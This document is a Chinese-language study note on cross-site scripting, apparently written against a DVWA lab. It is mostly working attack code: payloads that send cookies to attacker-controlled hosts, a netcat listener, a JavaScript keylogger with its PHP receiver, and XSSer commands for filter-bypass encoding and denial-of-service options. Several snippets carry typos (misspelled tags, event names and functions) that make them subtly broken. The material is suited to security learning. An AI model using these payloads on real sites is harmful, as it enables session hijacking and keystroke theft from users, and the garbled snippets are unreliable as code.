xss.md

xss

cross-site-scripting

javascript

  • 嵌入html <sctipt>alert("XSS");</script>
  • 元素标签:<body onload=alert('XSS')>
  • 图片:<img src="javascript:alert("XSS);">
  • 其他:<iframe>, <div>, <link>
  • DOM对象,篡改页面内容

类型

  1. 存储型
  2. 反射型
  3. DOM型

xss检测

<a href="192.168.1.1">click</a>

<script>alert("XSS")</script>

<a href='' onclick=alert("xss")>type</a>

<img src="http://1.1.1.1/a.jpg" onerror=alert("xss")>

xss利用

​ nc -vnlp 80 #攻击机上执行

​ 被攻击执行

<script>window.location="http://www.sina.com"</script>
		<script>window.location="192.168.1.102"</script>  
		
<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>

<script src="http://1.1.1.1/a.js"></script>
	a.js
		var img = new Image();
		img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;

键盘记录器

keylogger.js

document.onekeypress = function(evt){
    evt = evt || window.event
    key = String.formCharCode(evt.charCode)
    if (key){
        var http = new XMLHttpRequest();
        var param = encodeURI(key);
        
        http.open("POST","http://1.1.1.1.keylogger.php",true);
        http.setRequestHeader("Content-type","applicant/x-www-form-urlencode");
        http.send("key="+param);        
    }
}

Keylogger.php

<?php
$key = $_POST['key'];
$logfile = "keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
<script+src="http://1.1.1.1/keyloger.js"></script+src>
<a href="http://192.168.1.102/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.1.103/keylogger.js'></script>"xss</a>

Xsser

xsser -u "http://1.1.1.1/dvwa/" -g "xss_r/?name=" --cookie="dadadadsadasddsadsa" -v --reverse-check
-u :
	url
-p:
	post
-g:
	get
--heuristic:
	启发式的,检测被过滤的字符
--reverse-check:
	连接至返回的url(反向连接)

绕过过滤机制

对payload进行编码
	--Str
	--Une
	--Mix
	--Dec
	--Hex
	--Hes
	--Dwo
	--Doo
	--Cem=CEM
xsser -u "http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; HPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'

注入检测

--Coo
--Xsa
--Xsr
--Dcp
--Dom
--Ind
--Anchor
--Phpids

攻击

--Doss
--Dos
--B64
--Onm
--Ifr

存储型

DOM

<script>
    var img = document.createElement("img");
	img.src = "http://192.168.11.12:88/log?"+ecapse(document.cookie);
</script>
原文地址:https://www.cnblogs.com/nsfoxer/p/14348054.html